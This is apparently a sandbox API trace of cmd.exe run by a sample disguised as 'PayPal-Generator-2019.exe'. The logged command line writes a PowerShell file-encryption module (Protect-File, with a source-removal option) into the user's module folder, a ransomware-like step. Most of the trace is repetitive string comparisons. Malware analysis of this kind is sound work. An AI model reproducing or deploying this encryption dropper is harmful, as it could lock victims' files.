[System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Cry" [0048.180] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c cmd.exe /c mkdir %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & echo [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName='PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 & echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cipher.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$PaddingMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = \".$Algorithm\", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Cry" [0048.181] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.181] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x515f880, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0048.181] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0048.181] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0048.181] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0048.181] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0048.181] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0048.181] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0048.181] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0048.181] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0048.181] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0048.181] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0048.181] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0048.181] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0048.182] GetEnvironmentStringsW () returned 0x5160518* [0048.182] FreeEnvironmentStringsA (penv="A") returned 1 [0048.182] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0048.182] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0048.182] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0048.182] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0048.182] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0048.182] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0048.182] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0048.182] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0048.182] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0048.182] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0048.182] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0xe2f58c | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.183] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x104, lpBuffer=0xe2f58c, lpFilePart=0xe2f584 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0xe2f584*="Desktop") returned 0x1d [0048.183] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0048.183] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xe2f308 | out: lpFindFileData=0xe2f308) returned 0x515e3b0 [0048.183] FindClose (in: hFindFile=0x515e3b0 | out: hFindFile=0x515e3b0) returned 1 [0048.184] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", lpFindFileData=0xe2f308 | out: lpFindFileData=0xe2f308) returned 0x515e3b0 [0048.184] FindClose (in: hFindFile=0x515e3b0 | out: hFindFile=0x515e3b0) returned 1 [0048.184] _wcsnicmp (_String1="CIIHMN~1", _String2="CIiHmnxMn6Ps", _MaxCount=0xc) returned 6 [0048.184] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFindFileData=0xe2f308 | out: lpFindFileData=0xe2f308) returned 0x515e3b0 [0048.184] FindClose (in: hFindFile=0x515e3b0 | out: hFindFile=0x515e3b0) returned 1 [0048.184] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0048.184] SetCurrentDirectoryW (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 1 [0048.184] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1 [0048.184] GetEnvironmentStringsW () returned 0x515d928* [0048.185] FreeEnvironmentStringsA (penv="=") returned 1 [0048.185] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1066720 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0048.186] GetConsoleOutputCP () returned 0x1b5 [0048.188] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x105e460 | out: lpCPInfo=0x105e460) returned 1 [0048.188] GetUserDefaultLCID () returned 0x409 [0048.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x10624a0, cchData=8 | out: lpLCData=":") returned 2 [0048.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xe2f6bc, cchData=128 | out: lpLCData="0") returned 2 [0048.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xe2f6bc, cchData=128 | out: lpLCData="0") returned 2 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xe2f6bc, cchData=128 | out: lpLCData="1") returned 2 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x10624b0, cchData=8 | out: lpLCData="/") returned 2 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x1062500, cchData=32 | out: lpLCData="Mon") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x1062540, cchData=32 | out: lpLCData="Tue") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x1062580, cchData=32 | out: lpLCData="Wed") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x10625c0, cchData=32 | out: lpLCData="Thu") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x1062600, cchData=32 | out: lpLCData="Fri") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x1062640, cchData=32 | out: lpLCData="Sat") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x1062680, cchData=32 | out: lpLCData="Sun") returned 4 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x10624c0, cchData=8 | out: lpLCData=".") returned 2 [0048.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x10624e0, cchData=8 | out: lpLCData=",") returned 2 [0048.189] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0048.191] GetConsoleTitleW (in: lpConsoleTitle=0x51505c8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0048.191] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f40000 [0048.191] GetProcAddress (hModule=0x74f40000, lpProcName="CopyFileExW") returned 0x74f5fa80 [0048.191] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 0x74f5a790 [0048.191] GetProcAddress (hModule=0x74f40000, lpProcName="SetConsoleInputExeNameW") returned 0x752a35c0 [0048.192] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0048.192] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x105e4a0, nSize=0x2000 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0048.193] _wcsicmp (_String1="cmd.exe", _String2=")") returned 58 [0048.193] _wcsicmp (_String1="FOR", _String2="cmd.exe") returned 3 [0048.193] _wcsicmp (_String1="FOR/?", _String2="cmd.exe") returned 3 [0048.193] _wcsicmp (_String1="IF", _String2="cmd.exe") returned 6 [0048.193] _wcsicmp (_String1="IF/?", _String2="cmd.exe") returned 6 [0048.193] _wcsicmp (_String1="REM", _String2="cmd.exe") returned 15 [0048.193] _wcsicmp (_String1="REM/?", _String2="cmd.exe") returned 15 [0048.195] _wcsicmp (_String1="cd", _String2=")") returned 58 [0048.196] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0048.196] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0048.196] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0048.196] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0048.196] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0048.196] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0048.198] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.198] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.198] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.198] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.198] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.198] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.198] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.202] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.202] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.202] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.202] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.202] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.202] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.202] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.204] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.205] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.205] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.205] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.205] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.205] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.205] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.206] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.207] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.207] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.207] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.207] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.207] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.207] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.208] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.208] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.208] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.208] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.208] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.208] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.208] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.210] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.210] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.210] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.210] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.210] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.210] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.211] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.212] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.212] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.212] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.213] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.213] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.213] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.213] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.215] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.215] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.215] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.215] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.215] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.215] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.215] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.217] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.217] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.217] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.217] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.217] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.217] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.217] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.219] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.219] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.219] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.219] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.219] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.219] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.220] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.221] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.221] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.221] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.221] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.221] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.221] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.221] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.222] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.222] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.222] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.222] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.222] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.222] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.222] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.223] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.223] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.223] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.223] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.223] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.223] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.223] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.224] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.224] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.224] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.224] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.224] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.224] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.224] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.224] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.224] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.224] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.224] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.224] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.224] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.224] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.225] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.225] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.225] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.225] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.225] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.225] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.225] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.225] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.225] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.225] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.225] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.225] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.225] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.225] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.226] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.226] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.226] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.226] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.226] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.226] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.226] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.226] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.226] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.226] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.226] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.226] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.226] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.226] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.227] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.227] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.227] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.227] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.227] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.227] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.227] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.227] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.227] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.227] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.227] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.227] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.227] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.228] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.228] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.228] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.228] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.228] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.228] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.228] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.228] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.228] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.228] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.228] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.228] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.228] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.229] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.229] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.229] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.229] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.229] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.229] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.229] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.229] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.229] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.229] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.229] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.229] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.230] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.230] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.230] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.230] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.230] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.230] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.230] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.230] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.233] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.233] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.233] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.234] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.234] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.234] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.234] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.234] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.234] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.234] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.235] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.235] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.235] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.235] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.235] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.235] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.235] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.235] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.235] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.235] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.235] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.235] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0048.235] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0048.236] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0048.236] _wcsicmp (_String1="echo", _String2=")") returned 60 [0048.236] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0048.236] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0048.236] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0048.236] 